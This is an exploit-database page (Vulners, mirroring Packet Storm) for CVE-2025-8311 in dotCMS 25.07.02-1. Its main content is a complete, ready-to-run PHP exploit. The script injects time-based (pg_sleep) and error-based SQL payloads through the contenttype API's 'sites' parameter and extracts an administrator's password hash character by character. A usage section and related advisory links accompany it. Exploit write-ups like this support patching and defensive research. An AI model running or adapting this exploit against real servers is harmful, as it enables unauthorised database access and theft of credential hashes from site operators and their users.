Lucene search
K

📄 dotCMS 25.07.02-1 SQL Injection

🗓️ 09 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 172 Views

Authenticated blind time-based SQL injection on dotCMS to extract administrator password hashes.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-8311
4 Sep 202515:19
circl
CNNVD
DotCMS SQL注入漏洞
4 Sep 202500:00
cnnvd
CVE
CVE-2025-8311
4 Sep 202514:12
cve
Cvelist
CVE-2025-8311
4 Sep 202514:12
cvelist
Exploit DB
dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
16 Sep 202500:00
exploitdb
EUVD
EUVD-2025-27276
3 Oct 202520:07
euvd
NVD
CVE-2025-8311
4 Sep 202515:15
nvd
Packet Storm
📄 dotCMS 25.07.02-1 SQL Injection
3 Nov 202500:00
packetstorm
Packet Storm
📄 dotCMS 25.07.02-1 Security Scanner
15 Dec 202500:00
packetstorm
Positive Technologies
PT-2025-35943
4 Sep 202500:00
ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : dotCMS 25.07.02-1 Authenticated Blind SQL Injection (Time-Based)                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.dotcms.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211125/ & 	CVE-2025-8311
    
    [+] Summary :  This PHP script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. 
                   The exploit combines Time-Based Blind SQLi and Error-Based SQLi techniques to extract password hashes from the database, specifically targeting administrator accounts.
    	
    [+]  Usage :   * : Save as: exploit.php
                       Run    : php exploit.php
    	
    [+]  POC :	
      
    <?php
    /*
     PoC by Indoushka
     */
    
    //=========================//
    // USER CONFIGURATION      //
    //=========================//
    $HOST          = "127.0.0.1:8443";
    $TARGET_ACCOUNT = "[email protected]";
    $TOKEN         = "REPLACE_WITH_VALID_JWT";   // <= أدخل توكن صحيح
    $SLEEP_TIME    = 10;                         // seconds
    
    //=========================//
    // Helper Functions        //
    //=========================//
    
    function hexEncode($str){
        $out = "";
        for($i = 0; $i < strlen($str); $i++){
            $out .= sprintf("%%%02x", ord($str[$i]));
        }
        return $out;
    }
    
    function send_request($payload=""){
        global $HOST, $TOKEN;
    
        $payload = hexEncode($payload);
        $url = "https://{$HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{$payload}";
    
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => [
                "Accept: */*",
                "Authorization: Bearer {$TOKEN}",
                "User-Agent: Mozilla/5.0"
            ],
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 300
        ]);
    
        $start = microtime(true);
        $resp  = curl_exec($ch);
        $end   = microtime(true);
        $delay = $end - $start;
    
        curl_close($ch);
        return [$resp, $delay];
    }
    
    function send_sqli($q){
        $query = "') AND 1=(".$q.") AND ('A' LIKE 'A";
        return send_request($query);
    }
    
    function test_sqli(){
        global $SLEEP_TIME;
    
        echo "[!] Checking connection...\n";
        list($body, $delay) = send_request();
        if(strpos($body, '"pagination":{"currentPage":') === false){
            echo "[-] Unexpected response!\n";
            exit;
        }
        echo "[+] Connection OK.\n";
    
        echo "[!] Testing Time-Based SQL Injection...\n";
        list($body, $delay) = send_sqli("SELECT 1 FROM pg_sleep({$SLEEP_TIME})");
        if($delay < $SLEEP_TIME){
            echo "[-] Sleep test failed.\n";
            // لا نخرج من البرنامج، قد نجرب طريقة أخرى
        } else {
            echo "[+] Time-Based SQLi confirmed.\n\n";
            return true;
        }
        
        echo "[!] Testing Error-Based SQL Injection...\n";
        $result = extract_error_test();
        if($result){
            echo "[+] Error-Based SQLi confirmed.\n\n";
            return true;
        }
        
        echo "[-] No SQL Injection vulnerability detected.\n";
        exit;
    }
    
    function extract_error_test(){
        global $TARGET_ACCOUNT;
    
        $payload = "') AND (SELECT cast((SELECT 'test' FROM user_ LIMIT 1) as int)) AND ('A'='A";
        list($resp, $delay) = send_request($payload);
    
        if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
            return $m[1];
        }
        return false;
    }
    
    function extract_error_full(){
        global $TARGET_ACCOUNT;
    
        echo "[!] Attempting Error-Based extraction...\n";
        
        $payload = "') AND (SELECT cast((SELECT password_ FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";
    
        list($resp, $delay) = send_request($payload);
    
        // الالتقاط من رسالة الخطأ
        if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
            return $m[1];
        }
        
        // محاولة نمط آخر لرسالة الخطأ
        if(preg_match('/ERROR: (.*?) at character/', $resp, $m)){
            return $m[1];
        }
        
        return false;
    }
    
    function retrieve_data_time_based($template, $charset){
        global $SLEEP_TIME, $TARGET_ACCOUNT;
    
        $charset = ":" . str_replace(":","",$charset);
        $output = "";
        $index = 1;
    
        while(true){
            $found = false;
            foreach(str_split($charset) as $c){
                $q = str_replace(["[_INDEX_PLACEHOLDER_]","[_ASCII_PLACEHOLDER_]"],
                                 [$index, ord($c)],
                                 $template);
    
                list($body, $delay) = send_sqli($q);
    
                if($delay >= intval($SLEEP_TIME/2)){
                    echo "[+] Found char at position {$index}: {$c}\n";
                    $output .= $c;
                    $index++;
                    $found = true;
                    break;
                }
            }
            if(!$found){ break; }
        }
        return $output;
    }
    
    function retrieve_data_error_based($charset){
        global $TARGET_ACCOUNT;
        
        $charset = ":" . str_replace(":","",$charset);
        $output = "";
        $index = 1;
        
        while(true){
            $found = false;
            foreach(str_split($charset) as $c){
                // بناء استعلام Error-Based
                $payload = "') AND (SELECT cast((SELECT substring(password_ from {$index} for 1) FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";
                
                list($resp, $delay) = send_request($payload);
                
                if(preg_match('/invalid input syntax for type integer: "('.$c.')"/', $resp, $m)){
                    echo "[+] Found char at position {$index}: {$c}\n";
                    $output .= $c;
                    $index++;
                    $found = true;
                    break;
                }
            }
            if(!$found){ break; }
        }
        return $output;
    }
    
    //=========================//
    // MAIN                    //
    //=========================//
    
    echo "========================================\n";
    echo "     DotCMS SQL Injection Exploit      \n";
    echo "     Combined Time & Error Based       \n";
    echo "========================================\n\n";
    
    // اختبار وجود الثغرة
    if(!test_sqli()){
        exit;
    }
    
    // محاولة الاستخراج السريع باستخدام Error-Based
    echo "[!] Trying Error-Based extraction first (faster)...\n";
    $hash_error = extract_error_full();
    
    if($hash_error){
        echo "\n[✓] SUCCESS: Hash extracted via Error-Based SQLi\n";
        echo "[+] HASH for {$TARGET_ACCOUNT}: {$hash_error}\n";
        
        // التحقق من صحة الهاش (اختياري)
        if(strlen($hash_error) >= 32 && preg_match('/^[a-f0-9$.\/]+$/i', $hash_error)){
            echo "[✓] Hash appears valid (length: " . strlen($hash_error) . " chars)\n";
        }
    } else {
        echo "[-] Error-Based extraction failed, falling back to Time-Based...\n\n";
        
        // استخدام الطريقة الزمنية كحل احتياطي
        $template =
        "SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) ".
        "THEN (SELECT 1 FROM pg_sleep(".intval($SLEEP_TIME/2).") WHERE emailaddress = '{$TARGET_ACCOUNT}') ".
        "ELSE 1 END) FROM user_ WHERE emailaddress = '{$TARGET_ACCOUNT}'";
    
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./:";
        
        echo "[!] Starting Time-Based extraction (slower)...\n";
        echo "[!] This may take several minutes...\n";
        
        $pass = retrieve_data_time_based($template, $chars);
        
        if(!empty($pass)){
            echo "\n[✓] SUCCESS: Hash extracted via Time-Based SQLi\n";
            echo "[+] HASH for {$TARGET_ACCOUNT}: {$pass}\n";
        } else {
            echo "\n[-] FAILED: Could not extract hash using any method.\n";
            echo "    Possible reasons:\n";
            echo "    1. Account does not exist\n";
            echo "    2. Different database structure\n";
            echo "    3. Additional security measures\n";
        }
    }
    
    echo "\n========================================\n";
    echo "               END OF EXPLOIT           \n";
    echo "========================================\n";
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2025 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 49.4
EPSS0.01558
SSVC
172